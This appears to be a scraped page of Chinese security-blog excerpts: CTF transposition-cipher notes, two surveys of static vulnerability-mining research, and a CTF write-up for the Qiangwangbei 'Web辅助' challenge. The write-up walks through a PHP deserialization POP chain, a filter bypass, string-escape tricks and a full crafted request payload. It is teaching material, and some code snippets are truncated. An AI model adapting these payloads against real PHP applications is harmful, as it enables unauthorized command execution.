这个密码是我在《ctf特训营》这本书上看到的。自己并没有在题目中做到过 实例借鉴书中 m=flag{easy_easy_crypto} k=”3124” len(k)=4,切分m。 flay {eas y_ea sy_c rypt o} 按照3124直接排列 Lafg ea{s _eya y_sc yprt }o 密文: Lafgea{s_eyay_scyprt}o 解密代码: def shift_decrypt(c,k):     l=len(k)     m=""     for i in range(0,len(c),l):         tmp_m=[""]*l         if i+l>=len(c):             tmp_c=c[i:]             use=[]             for kindex in range(len(tmp_c)):                 use.append(int(k[kindex])-l)             use.sort()             for kinde 曲路密码: 按照事先约定的原则把明文填入表中 例如:明文为HelloWorldab 按照一定的顺序进行遍历 密文就是lrbaoleWdloH CTF crypto线下工具推荐: CTFCrackTools https://github.com/Acmesec/CTFCrackToolsCyberChef https://www.chinabaiker.com/cyberchef.htm直接可以下载到本地 参考: https://ctf-wiki.github.io/ctf-wiki/cryptohttps://zh.wikipedia.org/wikihttps://baike.baidu.com《ctf特训营》 https://buuoj.cn/相关实验:https://sourl.cn/GTxP4Q (密码学是研究如何隐密地传递信息的学科。通过本课程实验掌握密码学的相关知识。)
漏洞挖掘的艺术-面向源码的静态漏洞挖掘
亲爱的,关注我吧 文章共计4127个词 今天的内容有一些图,流量用户注意哦 和我一起阅读吧 0 软件漏洞的挖掘一直是热门的方向,安全从业者们从一开始的手工挖洞,到后来编写自己的工具实现自动化的漏洞挖掘,再到随着近年来AI的蓬勃发展,开始使用深度学习等技术辅助漏洞挖掘,乃至更进一步使用相关技术实现自动化攻防,如DARPA的CGC大赛等。技术日新月异,让人眼花缭乱,本系列文章希望通过介绍典型的代表性工作(侧重于安全学术界的Big4,即四大顶会上发表的成果),来帮助各位师傅们厘清脉络和相关技术,为之后的学术发展或职业发展给出指引,能找到可以深入挖掘发展的方向。 1 按照传统的分类方法,可以分为静态和动态漏洞挖掘技术。 静态漏洞挖掘技术指在不运行目标程序的前提下对目标程序进行分析,这里又可以分为针对源码以及针对二进制程序进行分析其词法、语法、语义等,并通过相关工具获得其AST, CFG, DDG, PDG, CPG等进行辅助分析,来挖掘漏洞。 1.1 AST即抽象语法树(Abstract Syntax Tree,AST),或简称语法树(Syntax tree),是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。 当初学习C语言写过的辗转相除法的代码为:     while b ≠ 0         if a > b             a := a − b         else             b := b − a return a 对应的抽象语法树为: 1.2 CFG即控制流图(Control flow graph),是一个过程或程序的抽象表现,是用在编译器中的一个抽象数据结构,由编译器在内部维护,代表了一个程序执行过程中会遍历到的所有路径。它用图的形式表示一个过程内所有基本块执行的可能流向, 也能反映一个过程的实时执行过程。下图是一个包含了if和while语句的CFG 提到CFG,很多人都会想到CFI(Control Flow Integrity)控制流完整性技术,这是为了抵御控制流劫持攻击而提出的。我们知道早期的攻击会采用代码注入的方式,通过部署一段shellcode,然后将控制转向这段代码执行,为了组织这类攻击,开发了DEP(Data Execution Prevention)机制来限制内存页不能同时具备写和执行权限。攻击者为了突破DEP,来发明了基于代码重用攻击的技术,利用被攻击程序中的代码片段进行拼接形成攻击逻辑,此类技术包括Ret2libc,ROP,JOP等等,并且被证明为图灵完备的。在可计算性理论里,如果一系列操作数据的规则(如指令集、编程语言、 1.3 DDG即数据依赖图(Data flow dependency graph)以最简单的形式表示各个指令之间的数据依赖关系。这样的图中的每个节点代表一条指令,并称为“原子”节点。也可以将它们之间具有简单的def-use依赖关系的某些原子节点组合为包含多指令的较大节点。 以这段为例: for (int i = 1; i < n; i++) {   b[i] = c[i] + b[i-1]; } 代码中是一个循环体,通过多个def-use依赖关系和内存访问依赖关系构建出的DDG如下 1.4 PDG,即程序依赖图(Program Dependence Graph),是程序的一种图形表示,它是带有标记的有向多重图。系统程序依赖图是软件程序间控制依赖关系和数据依赖关系的图形表示。 1.5 CPG代码属性图(Code Property Graph)是由ShiftLeft先提出来的,如下所示 CPG为每个应用唯一的代码版本提供可扩展的和多层的逻辑表示,包括控制流图、调用图、程序依赖图、目录结构等。CPG创建了代码的多层三维表示,具有很强的洞察力,这使得开发人员可充分了解应用程序每个版本执行的内容及可能带来的风险。 2 先来看看静态分析方面针对源码的研究。针对源码的漏洞挖掘主要分为两类,分别基于中间表示和基于逻辑推理。 2.1 基于中间表示的分析技术主要包括数据流分析、控制流分析、污点分析、符号执行等。事实上,这些技术手段往往会同时应用在研究工作中。 2.1.1 数据流分析是一项编译时使用的技术,它能从中收集程序的语义信息,并通过代数的方法在编译时确定变量的定义和使用。通过数据流分析,可以不必实际运行程序就能够发现程序运行时的行为。简单地说,数据流分析就是对程序中数据的使用、定义及其之间的依赖关系等各方面的信息进行收集的过程,以点(5)进行数据流分析如下 2.1.2 控制流分析的目标是得到程序的一个控制流图(control  flow  graph)。控制流图是对程序执行时可能经过的所有路径的图形化表示。通过根据不同语句之间的关系,特别是考虑由“条件转移”、“循环”等引入的分支关系,对过程内的一些语句进行合并,可以得到程序结构。控制流图是一个有向图:图中的结点对应于程序中经过合并的基本语句块,图中的边对应于可能的分支方向,例如条件转移、循环等等,这些都是分析程序行为的重要信息。 2.1.3 污点分析是一种跟踪并分析污点信息在程序中流动的技术,其分析对象是污点信息流。污点指的是受到污染的信息。在程序分析中,将来自程序之外并且进入程序的信息当做污点信息,。根据分析的需要,程序内部使用的数据也可作为污点信息,并分析其对应的信息的流向。根据污点分析时是否运行程序,可以将其分为静态污点分析和动态污点分析。 污点分析的过程包括:识别污点信息在程序中的产生点并对污点信息进行标记;利用特定的规则跟踪分析污点信息在程序中的传播过程;在一些关键的程序点检查关键的操作是否会受到污点信息的影响。污点信息的产生点称为source点,污点信息的检查点称为sink点。 以下图为例来说明污点分析过程 将scanf所在的程序点作为source点,将通过scanf接收的用户输入数据标记为污点信息,并且认为存放它的变量x是被污染的。如果在污点传播规则中规定“如果二元操作的操作数是污染的,那么二元操作的结果也是污染的”,则对于y=x+k,由于x是污染的,因此y也被认为是污染的。一个被污染的变量如果被赋值为一个常数,它将被认为是未污染的。对于x=0,将x从污染状态转变为未污染。对于while(i<y),这句所在的程序点在这里被认为是一个sink点,如果污点分析规则规定“循环的次数不能受程序输入的控制”,那么在这里就需要检查变量y是否是被污染的。 2.1.4 符号执行是一种用符号值代替数字值执行程序的技术,符号是表示一个取值集合的记号。使用符号执行分析程序时,对于某个表示程序输入的变量,通常使用一个符号表示它的取值,这个符号可以表示程序在此处接收的所有可能的输入。此外,在符号执行的分析过程中那些不易或者无法确定取值的变量也常常使用符号表示的方式进行分析。 符号执行的分析过程大致如下:首先将程序中的一些需要关注但是又不能直接确定其取值的变量用符号表示其取值,然后通过逐步分析程序可能的执行流程,将程序中变量的取值表示为符号和常量的计算表达式。程序的正常执行和符号执行的主要去呗是:正常执行时程序中的变量可以看做被赋予了具体的值,而符号执行时,变量的值既可以是具体的值也可以是符号和常量的运算表达式。 以下图的符号执行源代码为例,函数中的参数x,y分别用符号a,b表示 基于上图的代码可以得到下图所示的程序流程图 可以看到共有三条执行路径,每条路径都对应着一个路径约束(path constrain,PC)。其中返回true的路径有一条,带入符号后,对应的路径约束为a>60&(b*2)==128;返回false的路径有两条,对应的路径约束为a<=60|(a>60&(b*2)!=128) 这个例子表明,使用符号执行技术分析程序,对于分析过程中遇到的程序中带有条件的控制转移语句(条件分支语句、循环语句等),可以利用变量的符号表达式将控制转移语句中的条件转化为对符号取值的约束,通过分析约束是否可以满足,判断程序的哪条路径是可行的。这一部分是符号执行分析的关键部分。由此将判断路径条件是否可满足的问题转化为判断符号取值的约束是否可满足的问题。而对于约束是否可满足的判断,通常使用约束求解的方法,该过程由约束求解器完成(约束求解器是对特定形式的约束表示进行求解的工具)。在符号执行的分析过程中,常使用可满足性模理论(satisfiabilti modulo therries,SMT)求解器对 2.2 基于逻辑推理的漏洞检测方法将源代码进行形式化描述,然后利用数学推理、证明等方法 验证形式化描述的一些性质,从而判断程序是否含有某种类型的漏洞。基于逻辑推理的漏洞检测方法由于以数学推理为基础,因此分析严格,结果可靠。但对于较大规模的程序,将代码进行形式化表示本身是一件非常困难的事情。所以实际上研究价值相对来说并不大。 3 相关工作 这里分别介绍针对源码的静态漏洞挖掘技术部分代表性工作。 3.1基于中间表示 发表在2018 NDSS(信息安全四大顶会之一)的K-Miner利用内核代码中高度标准化的接口实现了可扩展性良好的指针分析以及全局的上下文敏感的分析技术,支持对空指针引用、指针释放后重引用(use-after-free, UAF)、指针重释放(double free)、双重检查锁定(double-checked lock)等内存崩溃漏洞的检测。论文及论文作者在会议上的视频见文后给出的参考链接 其实现如图 具体来说,它包括四个分析阶段:在步骤1中,LLVM-IR作为vmlinux bitcode映像传递到K-Miner,以开始进行预分析,这将初始化并填充全局内核上下文。在步骤2中,此上下文信息用于分析单个系统调用,这可以连续多次运行,比如可以分析dangling pointer,use-after-free和double free。在步骤3中,通过各种验证技术对错误报告进行了清理,以降低误报率。在第4步中,使用我们的漏洞报告引擎呈现已排序的报告。 在实验中,K-Miner发现了29处可能的漏洞,总共生成了539个alert,如下所示 3.2基于逻辑推理 近年来个人没有看到有相关的工作,不过为了文章的完整性,这里介绍CCS 2002(CCS同样是四大顶会之一)的工作-MOPS。 论文中作者首先确定安全编程实践的规则,将其编码为安全属性,并验证是否遵守这些属性。由于手动验证过于繁琐,因此建立了程序分析工具来自动完成此过程。程序将要验证的程序分析建模为下推式自动机,将安全属性表示为有限状态自动机,并使用模型检查技术来确定在程序中是否可以达到违反预期安全目标的任何状态。 全文逻辑缜密,单单几张图说不清楚,建议有兴趣的师傅们自己去看看这篇论文,下面给出一个简单的例子,以进程权限系统调用为例。 进程权限模型如下 存在风险的系统调用模型如下 描述该属性的复合模型,即在特权状态下,进程不应进行有风险的系统调用。 当然,上面是非常简化的版本,建模越精细,效果自然越好。将linux 2.4.17中的进程权限模型建模如下(包括所有的rued,euid,suid等) 建模之后,文中以一个实例进行了说明 在wu-ftpdversion 2.4中找到了一个已知的安全漏洞。漏洞除了分别在信号SIGPIPE和SIGURG的处理程序中调用seteuid(0)和longjmp(env),基本类似于下图代码中的漏洞 通过在信号SIGPIPE之后立即将信号SIGURG发送到awu-ftpd进程,攻击者可以使该进程调用信号SIGPIPE的处理程序中的seteuid(0)获得特权,然后调用信号SIGURG的处理程序中的longjmp(env)返回到函数main中的setjmp(env)的调用处。 此后,wu-ftpd将使用root特权执行,从而导致攻击者具有root特权。 MOPS能够在wu-ftpd2.4 beta 11中成功检测到该漏洞。 4 参考 1.https://juejin.im/post/5cc51b096fb9a03218555972 2.http://www.jos.org.cn/html/2017/10/5317.htm 3.https://llvm.org/docs/DependenceGraphs/index.html 4.https://zhuanlan.zhihu.com/p/94611033 5.https://cs.nju.edu.cn/chenlin/pages/sat/dataflow.pdf 6.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=10342 7.http://staff.ustc.edu.cn/~yuzhang/compiler/2017f/lectures/optimize-6in1.pdf 8.https://www.52pojie.cn/thread-861992-1-1.html 9.https://www.youtube.com/watch?v=1uLKA7Ux8hg 10.https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-1_Gens_paper.pdf 10.https://www.danielesgandurra.com/research/blast2008-slides.pdf 11.https://people.eecs.berkeley.edu/~daw/mops/ 12.http://people.eecs.berkeley.edu/~daw/papers/mops-ccs02.pdf 5 实验推荐--https://sourl.cn/ce6JX2 https://www.yijinglab.com/expc.do?ec=ECID3a0b-2354-465e-8484-da3525ade185Docker是近两年来十分流行的开源容器引擎,Vulhub是一个面向大众的开源漏洞靶场。通过本实验了解Docker的使用,掌握使用Vulhub靶场环境进行漏洞复现。
漏洞挖掘的艺术-面向二进制的静态漏洞挖掘
亲爱的,关注我吧 8/31 文章共计3165个词 今天的内容有一些图,流量用户注意哦 和我一起阅读吧 0 本文是本系列的第二篇,将对面向二进制程序的静态漏洞挖掘技术进行介绍与分析。 面向二进制程序的静态漏洞的挖掘技术由于缺少源代码中的结构化信息,面临着值集分析(vaule-set analysis,VSA)与控制流恢复不精确的问题,但是二进制程序相对于源码而言更容易获得,所以这方面的研究工作一直都有新的研究动态,并且会在第2部分介绍目前流程的两种技术。在进一步分析之前,我们首先来具体解释前文提出的两个问题。 1 1.1 值集分析是一种结合数值分析和指针分析的静态分析算法。VSA是一种基于抽象解释的、流敏感、上下文敏感、支持过程间分析的方法。VSA首先建立抽象内存模型,恢复可执行程序中的变量并用抽象地址表示,然后对每条指令静态计算抽象地址可能包含的值的集合。 典型的值集分析算法的伪码表示如下 上图的集合W被称为word-list,其操作包括add,removeNext,分别用于添加和移除项。Word-list按照拓扑顺序进行排序,初始化时包含着基本块的入口点,用于指示从此处开始正向分析。while循环的每次迭代里,Analysis函数都会在第6行被调用来分析选中的基本块。Analysis会基于输入状态产生大量的输出状态,那些变化的输出状态会被添加到word-list中。当在同一基本块上有两个输入状态时,VSA将在第11行将两个输入状态合并为新的输入状态。合并操作将合并抽象状态中每个变量的值集。变量的合并运算方程式如下所示 当程序读写内存时,根据目的地址的值集和将要读写的内存地址的长度,我们可以检测出它是否超过了对应变量的空间大小。如果超过,则可以作为一个潜在的漏洞上报。然而,由于VSA获得的值集是近似的,并不精确,所以可能会导致较高的误报率。 这里有篇19年的硕士论文《二进制程序Use-After-Free漏洞挖掘技术研究》,里面介绍了基于值集分析来挖掘UAF,感兴趣的可以看看。 另外,这篇论文《DEEPVSA: Facilitating Value-set Analysis with Deep Learning for Postmortem Program Analysis》发表于USENIX Security 2019(信息安全领域四大顶会之一),介绍通过深度学习来辅助值集分析的研究。 1.2 控制流恢复不精确指的是静态分析不需要执行程序,只通过对二进制文件的结构和指令操作码进行分析,静态分析重视全局程序分析,因而有很高的代码覆盖率,但由于无法解决间接跳转的问题,导致无法获取完整的控制流信息。 我们来看看控制流图的静态恢复。 1.2.1 对二进制代码进行控制流分析,首先要完成对二进制代码的静态反汇编。根据区分代码和数据方式的不同,可以将静态反汇编策略分为:线性扫描反汇编、递归反汇编和启发式反汇编三种。目前应用最广的静态反汇编策略是基于程序静态控制流程的递归策略,IDA使用的就是递归下降的算法。由于这不是本文重点,就不展开了。 1.2.2 接下来就是基本块的划分 基本块是程序中一组顺序执行的语句序列,其中只有一个入口语句和一个出口语句。基本块是具有原子性的一组连续语句序列,控制从第一条语句流入,从最后一条语句流出,中途没有停止或分支,意味着当程序跳转至某基本块时,该基本块中的所有指令都将被执行到[9]。因此,覆盖执行了该基本块就等同于覆盖了基本块所有指令。以基本块为单位对反汇编效果 进行分析,相比于指令级粒度的分析更加高效。 基本块入口定义: a)代码片段标签(_start 和_main 等是出现在代码段前的标 志)的下一条指令; b)CALL 指令在指令顺序流的下一条指令; c)跳转语句在指令顺序流的下一条指令。 基本块出口定义: a)代码片段的最后一条指令; b)CALL 指令; c)跳转指令; d)返回指令。 一般采用线性扫描指令的方法实现基本块的划分,如下所示 完成基本块划分之后,需要构建基本块之间的控制流关系 1.2.3 最后一步就是CFG控制流分析 如果在一个有序代码中,基本块 B2 跟在 B1 后,那么产生一个由 B2 指向 B1 的有向边。在对目标二进制程序完成基本块划分后,需要对基本块间的控制流转向进行分析,完成控制流的绘制,伪码如下 input:基本块列表 block output:CFG for i=1 to n do x=block[i]_lastinstr if x is a CTI then 建立一条由 block[i]到 x 跳转的 target 所在的 block[j]的有向边 else if x not a CTI then 建立由 block[i]到 block[i+1]的边 end for return CFG 2 当前,二进制静态漏洞挖掘技术主要包括基于模式匹配和基于补丁比对的技术。 2.1什么是模式匹配? 在计算机科学中,模式匹配是检查给定的标记序列是否存在某些模式的组成部分的行为。与模式识别相反,匹配通常必须精确:“匹配或不匹配。”图案通常具有序列或树形结构的形式。模式匹配的用途包括输出令牌序列中模式的位置,输出匹配模式的某些组成部分以及将匹配模式替换为其他某些令牌序列。 针对二进制程序分析时,一般不会单独应用模式匹配技术,比如会和VSA相结合。以GUEB为例,其提出了二进制程序中UAF漏洞模式,并基于此模式挖掘出了ProFTPD程序中的漏洞。具体而言,首先抽象出二进制函数中的内存模型,然后采用VSA分析技术追踪堆分配和释放指令相关的操作变量,并基于此建立UAF模式。 全文是以一个例子进行驱动的,源码如下 这里注意,这里虽然给出了代码,但是文中的工作都是从二进制层面展开的,给出源码是为了方便说明。 首先抽象出内存模型 我们假设堆栈中的地址表示为相对于基址寄存器EBP的偏移量。由于过程间分析是通过过程内联实现的,因此每个堆栈元素都由(EBP0,偏移量)表示,其中EBP0是EBP的初始值。例如,p_index由(EBP0,−24)表示,p_global_save由(EBP0,−36)表示。全局变量具有由标识符表示的常量地址,此处为变量名(例如pglobal)。对于堆,我们将HE定义为所有可能的堆元素的集合。HE的元素是(基址,大小),其中base是分配识别符,size是分配大小。这样的一对也称为一个chunk.PC是所有程序指针的集合。我们定义了HA和HF,这两个函数分别关联每个点上所有当前分配或者未分配的集合 接着进行VSA,结果如下 GUEB的最后一步,即从二进制层面提取出UAF漏洞模式的子图,如下所示 此子图对于研究UAF是否可利用以及如何利用非常有用:例如,在我们的示例中,在第33行释放和取消引用时是否发生了新的malloc。 2.2 补丁指的是软件开发商为了修补软件系统的各种漏洞或缺陷所提供的修补程序。对于开源软件,补丁本身就是程序源代码,打补丁的过程就是用补丁中的源代码替换原有的代码。而对于闭源软件,厂商只提供修改后的二进制代码,例如微软的Windows系统补丁。这时就需要使用二进制代码比对技术,定位补丁所修补的软件漏洞。 基于补丁对比的漏洞挖掘, 是指通过比较分析原始程序与漏洞修复后的更新程序的差异, 依据已知漏洞对应的软件缺陷位置寻找新漏洞的一种漏洞挖掘方法.补丁发布与部署之间存在较长的时间窗口, 因此, 通过补丁漏洞挖掘迅速提取漏洞特征, 对于软件运行安全检测和防护具有重要意义.目前, 软件自身的复杂性导致简单地进行指令对比难以快速逆向恢复漏洞细节并理解漏洞机理.与漏洞不相关的补丁修改造成相当程度的干扰, 补丁漏洞挖掘仍然需要软件基础理论的支撑.为此, 研究人员提出了多种基于图比较算法发现程序差异的基础分析工具, 如IDACompare、EBDS、BinDiff等.补丁漏洞挖掘的代表性工作是Brumley团 APEG核心思路是基于以下的假设条件,即补丁程序中增加了对触发原程序崩溃的过滤条件。因此,只要能够找到补丁程序中添加过滤条件的位置,同时构造 不满足过滤条件的“违规”输入,即可认为是原始程序的一个可利用的输入候选项。 该工作主要分为三个步骤:首先,利用二进制差异比较工具(例如 BinDiff 与 EBDS 等)找到补丁存在的位置,即补丁程序的检测点; 其次,找出不满足补丁程序检测点的输入数据作为原始程序的利用候选项; 最后,利用污点传播等监控方法筛选所有能够对原始程序造成溢出或者控制流劫持等崩溃发生的有效利用。 根据对微软所发布的多个补丁程序的实验结果表明,该方法具有较强的可靠性和实用性。 APEG 是对漏洞利用自动化构建的首次尝试,虽然核心思想较为简单,但由于其具有很强的可操作性,因此也得到了其他研究人员的普遍认可。 3 参考 1.http://blog.amossys.fr/intro-to-use-after-free-detection.html 2.https://www.bookstack.cn/read/CTF-All-In-One/160851 3.https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8805076 4.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=7401 5.http://jifeng-xuan.com/page/paper/jos_19.pdf 6.《软件漏洞自动利用研究进展》 7.https://www.slideserve.com/oriel/automatic-patch-based-exploit-generation-is-possible-techniques-and-implications-powerpoint-ppt-presentation 8.http://www.jos.org.cn/html/2018/1/5320.htm 9.《从自动化到智能化:软件漏洞挖掘技术进展》 4 实验推荐--https://sourl.cn/ggGUiS 栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。 5 相关阅读--https://www.yijinglab.com/html/news/news.html?newsId=NEWS-6f7-4181-4c0e-a18d-9b186f2524b6
细说强网杯Web辅助
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 文章共计1908个词 包括三段长代码 今天的内容无图,流量不预警 和我一起阅读吧 ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 1 写在前面 这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程 2 题目源码 index.php 获取我们传入的username和password,并将其序列化储存 ... if (isset($_GET['username']) && isset($_GET['password'])){     $username = $_GET['username'];     $password = $_GET['password'];     $player = new player($username, $password);     file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));      echo sprintf('Welcome %s common.php 这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方 <?php function read($data){     $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);     var_dump($data);     return $data; } function write($data){     $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);     return $data; } function check($data) {     if(stristr($data, 'name')!==False){     play.php 在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作 ... @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); ... class.php 这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag <?php class player{     protected $user;     protected $pass;     protected $admin;     public function __construct($user, $pass, $admin = 0){         $this->user = $user;         $this->pass = $pass;         $this->admin = $admin;     }     public function get_admin(){         $this->admin = 1;     3 涉及考点 ● POP链的构造 ● __wakeup的绕过 ● 关键字“name”检测绕过 ● 反序列化字符串逃逸 4 题目出现的魔术方法 ● __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法 ● __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行 ● wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 ● invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用 ● __toString():用于一个类被当成字符串时应怎样回应 5 POP链 POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来 6 POP链的构造 这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。  我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如: <?php class test{     function __toString(){         echo "__toString()";         return "";     } } $a = new test(); echo $a; //输出:__toString() 在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下: <?php class test{     function __toString(){         echo "__toString()";         return "";     } } $a = new test(); stristr($a,'name'); //输出__toString() 所以整个POP链已经构成了 topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag') 即 <?php class topsolo{     protected $name;     public function __construct($name = 'Riven'){         $this->name = $name;     } } class midsolo{     protected $name;     public function __construct($name){         $this->name = $name;     } } class jungle{     protected $name = ""; } $a = new topsolo 在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2 O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s 7 关键字“name”检测绕过 ··· function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n");     } else{ return $data;     } } ··· 这里使用十六进制绕过\6e\61\6d\65,并将s改为S O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D 8 字符串逃逸 访问index.php,传入数值,得到序列化内容 O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;} 可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来 ··· function read($data){     $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);     var_dump($data); return $data; } function write($data){     $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } ··· 在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 在password中补上被吃掉的pass部分,构造password的提交内容 password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D 最后提交 ?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65% 然后访问play.php即可得到flag 9 实验推荐--https://sourl.cn/8u7Pyg 通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页